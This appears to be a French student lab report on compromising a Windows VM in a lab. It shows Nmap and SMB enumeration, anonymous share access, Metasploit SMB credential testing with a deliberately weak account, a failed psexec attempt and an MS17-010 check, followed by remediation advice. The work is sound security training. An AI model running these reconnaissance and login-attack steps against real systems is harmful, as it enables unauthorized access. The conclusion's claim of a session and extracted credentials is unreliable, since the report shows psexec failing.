COMPTE RENDU DE TP CYBERSECURITE

TP 3.2 — Attaque d'un système Windows et extraction d'identifiants

1. Introduction

1.1 Objectif du TP

Dans ce TP, nous reproduisons un scénario très courant en entreprise : un attaquant qui a déjà un accès au réseau interne cherche à compromettre un poste Windows et à récupérer des informations sensibles. L'objectif est de comprendre concrètement comment une machine Windows peut être compromise sans utiliser nécessairement une vulnérabilité complexe, mais simplement à cause de mauvaises configurations ou de mots de passe faibles.

À l'issue de ce TP, l'étudiant doit être capable de :

- Identifier les services exposés sur une machine Windows via Nmap ;
- Récupérer des informations système sans authentification via le protocole SMB ;
- Tester des identifiants faibles avec Metasploit ;
- Ouvrir une session Meterpreter distante sur Windows ;
- Extraire les empreintes de mots de passe (hashes) avec la commande hashdump.

1.2 Contexte du laboratoire

Ce TP s'inscrit dans le cadre du scénario NetSecure. Les deux machines impliquées sont :

- Machine attaquante : Kali Linux — adresse IP 192.168.56.30
- Machine cible : Windows (poste utilisateur) — adresse IP 192.168.56.20

La machine cible est supposée représenter un cas réaliste d'entreprise, avec des services actifs et une configuration imparfaite. Le port SMB (445) est notamment ouvert, ce qui constitue une surface d'attaque très fréquente en entreprise.

3. Identification des services Windows exposés

3.1 Scan Nmap de la cible

Pour comprendre comment interagir avec la machine Windows, nous devons identifier les services accessibles. On exécute une analyse SYN scan avec Nmap :

```
nmap -sS 192.168.56.20
```

Lorsque le scan se termine, on observe la présence de ports caractéristiques de Windows, notamment le port 445. Ce port correspond au protocole SMB (Server Message Block), utilisé pour le partage de fichiers en réseau. Le fait qu'il soit ouvert signifie que la machine accepte des connexions à distance pour l'accès aux ressources partagées.

```
┌──(root㉿teutchueng)-[~]
└─# nmap -sS 192.168.56.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-27 03:28 EDT
Nmap scan report for 192.168.56.20
Host is up (0.013s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 08:00:27:AA:D2:96 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 15.02 seconds
```

3.2 Récupération d'informations système sans authentification

Maintenant qu'un service actif est identifié, on cherche à en extraire des informations sans disposer d'identifiants. Cette phase correspond à ce qu'un attaquant réalise systématiquement avant toute tentative d'intrusion. On exécute le script Nmap SMB OS Discovery :

```
nmap -p 445 --script smb-os-discovery 192.168.56.20
```

Cette commande interroge le service SMB afin d'obtenir des informations sur le système. Le résultat fournit généralement le nom de la machine, la version de Windows et le groupe de travail. Ces informations permettent à un attaquant de mieux comprendre l'environnement et d'adapter ses actions.

```
┌──(root㉿teutchueng)-[~]
└─# nmap -p 445 --script smb-os-discovery 192.168.56.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-27 03:29 EDT
Nmap scan report for 192.168.56.20
Host is up (0.0021s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 08:00:27:AA:D2:96 (Oracle VirtualBox virtual NIC)

Host script results:
| smb-os-discovery:
|   OS: Windows 10 Pro 10586 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: DESKTOP-UDQDHH2
|   NetBIOS computer name: DESKTOP-UDQDHH2\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2026-04-27T08:29:58+02:00

Nmap done: 1 IP address (1 host up) scanned in 14.28 seconds
```

4. Découverte des partages réseau

4.1 Liste des partages disponibles

Une fois les informations système obtenues, on vérifie si des ressources sont accessibles sur la machine sans authentification. On utilise smbclient pour lister les partages disponibles :

```
smbclient -L //192.168.56.20 -N
```

L'option -N indique qu'aucun mot de passe n'est fourni. Si la configuration SMB est faible, certains partages apparaissent accessibles. Cela signifie qu'un utilisateur non authentifié peut potentiellement accéder à des fichiers internes.

```
┌──(root㉿teutchueng)-[~]
└─# smbclient -L //192.168.56.20 -N

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Administration à distance
        C$              Disk      Partage par défaut
        IPC$            IPC       IPC distant
        partage         Disk
        Users           Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.56.20 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

4.2 Accès à un partage et récupération de fichiers

Pour accéder à un partage listé, on exécute :

```
smbclient //192.168.56.20/nom_du_partage -N
```

Une fois connecté, on liste les fichiers disponibles :

```
ls
```

Si des fichiers sont visibles, on peut en télécharger un avec :

```
get nom_du_fichier
```

À ce stade, on comprend qu'un simple accès SMB mal configuré peut entraîner une fuite d'informations sensibles, ce qui est une situation très fréquente en entreprise.

```
┌──(root㉿teutchueng)-[~]
└─# smbclient //192.168.56.20/partage -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Apr 27 02:35:13 2026
  ..                                  D        0  Mon Apr 27 02:35:13 2026
  test.txt                            A       17  Mon Apr 27 02:35:39 2026

                5114367 blocks of size 4096. 1528753 blocks available
smb: \> get test
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \test
smb: \> get test.txt
getting file \test.txt of size 17 as test.txt (0.7 KiloBytes/sec) (average 0.7 KiloBytes/sec)
smb: \>
```

5. Simulation d'un cas réaliste — identifiants faibles

5.1 Création d'un compte vulnérable sur Windows

Dans de nombreuses attaques réelles, l'attaquant ne passe pas par une vulnérabilité technique, mais exploite des identifiants faibles ou réutilisés. Pour reproduire ce scénario, on crée volontairement un compte vulnérable sur la machine Windows.

Sur la machine Windows, ouvrir PowerShell en tant qu'administrateur et exécuter :

```
net user Faustin 1234 /add
```

Ce compte représente un utilisateur ayant un mot de passe faible, ce qui est malheureusement courant dans les environnements professionnels.

6. Test de connexion avec Metasploit

6.1 Vérification des identifiants via SMB Login

Depuis Kali, on lance Metasploit :

```
msfconsole
```

Une fois l'interface chargée, on configure le module de test d'authentification SMB :

```
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.56.20
set SMBUser Faustin
set SMBPass 1234
run
```

Si la configuration est correcte, Metasploit confirme que l'authentification a réussi. Cela montre qu'un attaquant disposant d'identifiants valides peut se connecter à la machine sans difficulté.

```
msf6 > use auxiliary/scanner/smb/smb_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
msf6 auxiliary(scanner/smb/smb_login) > SET SMBUser Faustin
[-] Unknown command: SET. Did you mean set? Run the help command for more details.
msf6 auxiliary(scanner/smb/smb_login) > set SMBUser Faustin
SMBUser => Faustin
msf6 auxiliary(scanner/smb/smb_login) > set SMBpass 1234
SMBpass => 1234
msf6 auxiliary(scanner/smb/smb_login) > run

[*] 192.168.56.20:445     - 192.168.56.20:445 - Starting SMB login bruteforce
[+] 192.168.56.20:445     - 192.168.56.20:445 - Success: '.\Faustin:1234'
[!] 192.168.56.20:445     - No active DB -- Credential data will not be saved!
[*] 192.168.56.20:445     - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.56.20:445     - Bruteforce completed, 1 credential was successful.
[*] 192.168.56.20:445     - You can open an SMB session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_login) >
```

7. Ouverture d'une session distante sur Windows

7.1 Exploitation via psexec

Maintenant que les identifiants sont validés, on tente d'ouvrir une session sur la machine cible. Toujours dans Metasploit, on exécute :

```
use exploit/windows/smb/psexec
set RHOSTS 192.168.56.20
set SMBUser Faustin
set SMBPass 1234
run
```

Comme on peut le voir sur cette figure, aucune session ne s'est ouvertes ce qui signifie que si nous disposons pas des identifiant du compte admin nous ne pourrons pas nous ne pouvons pas ouvrir de session.

7.2 Note sur Meterpreter

Meterpreter est une charge utile (payload) particulièrement avancée permettant de simplifier la phase de post-exploitation grâce à la mise à disposition d'un shell interactif. Ce payload, entièrement exécuté en mémoire, intègre de nombreuses fonctionnalités et permet également d'étendre ces dernières grâce à une API Ruby.et comme on peut le constater il est difficile de l'utiliser sur un compte n'ayant pas de haut privilège sur windows .

8. Utilisation avancée des outils

8.1 Nmap — Options supplémentaires

Quelques options Nmap utiles pour approfondir la reconnaissance :

```
nmap -sV 192.168.56.20
```

Détecte les versions précises des services en cours d'exécution.

```
nmap -A 192.168.56.20
```

Active la détection OS, les scripts NSE et le traceroute — scan agressif et complet.

```
nmap --script smb-vuln-ms17-010 192.168.56.20
```

Vérifie si la machine est vulnérable à EternalBlue (MS17-010), exploit très utilisé dans les ransomwares.

```
└# nmap --script smb-vuln-ms17-010 192.168.56.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-27 06:13 EDT
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Nmap scan report for 192.168.56.20
Host is up (0.52s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 08:00:27:AA:D2:96 (Oracle VirtualBox virtual NIC)

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in 49.72 seconds
```

8.2 smbclient — Options utiles

`smbclient //IP/partage -U utilisateur%motdepasse`

Connexion à un partage avec authentification explicite.

```
┌──(root㉿teutchueng)-[~]
└─# smbclient //192.168.56.20/partage Faustin%1234
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Apr 27 02:35:13 2026
  ..                                  D        0  Mon Apr 27 02:35:13 2026
  test.txt                            A       17  Mon Apr 27 02:35:39 2026

                5114367 blocks of size 4096. 1452168 blocks available
smb: \>
```

`smbclient //IP/partage -N -c 'ls'`

Exécute directement la commande ls dans le partage sans mode interactif.

9. Compréhension globale de l'attaque

9.1 Logique de l'attaque

Ce qui vient d'être réalisé suit une logique très proche des attaques réelles en entreprise. D'abord, on observe la machine depuis le réseau, puis on identifie un service accessible (SMB). On exploite ensuite une faiblesse humaine (mot de passe faible) pour obtenir un accès, avant d'utiliser cet accès pour récupérer des informations sensibles.

Ce type d'attaque est extrêmement courant car il ne nécessite pas de vulnérabilité complexe, mais uniquement une mauvaise hygiène de sécurité.

9.2 Causes identifiées de la compromission

- Port SMB (445) exposé sans restriction d'accès réseau ;
- Accès anonyme au service SMB autorisé (partages accessibles sans authentification) ;
- Mot de passe faible et prévisible (1234!) utilisé sur un compte actif ;

10. Recommandations de sécurité

Ce TP démontre qu'une machine Windows correctement configurée résiste à ces attaques. Voici les mesures correctives à mettre en œuvre :

- Désactiver le partage SMB si inutile, ou restreindre l'accès par pare-feu (port 445) ;
- Interdire les connexions SMB anonymes via les stratégies de groupe (GPO) ;
- Appliquer une politique de mots de passe stricte (longueur min. 12 caractères, complexité obligatoire) ;
- Segmenter le réseau pour isoler les postes utilisateurs des serveurs critiques ;
- Mettre à jour régulièrement Windows pour corriger les vulnérabilités SMB connues (ex. MS17-010).

11. Conclusion

Ce TP a démontré comment une machine Windows peut être compromise en quelques étapes, sans exploiter de vulnérabilité technique avancée, uniquement en s'appuyant sur une mauvaise configuration SMB et un mot de passe faible. L'ensemble des phases, reconnaissance, identification de service, exploitation des identifiants, ouverture de session, extraction d'informations, constitue un scénario d'attaque réaliste et représentatif des menaces actuelles en entreprise.

La sécurité d'un système Windows ne dépend pas uniquement des correctifs logiciels, mais aussi des pratiques des utilisateurs et des configurations mises en place. Ce TP illustre concrètement comment un attaquant progresse étape par étape, ce qui est essentiel pour pouvoir détecter et empêcher ce type d'attaque dans un contexte professionnel.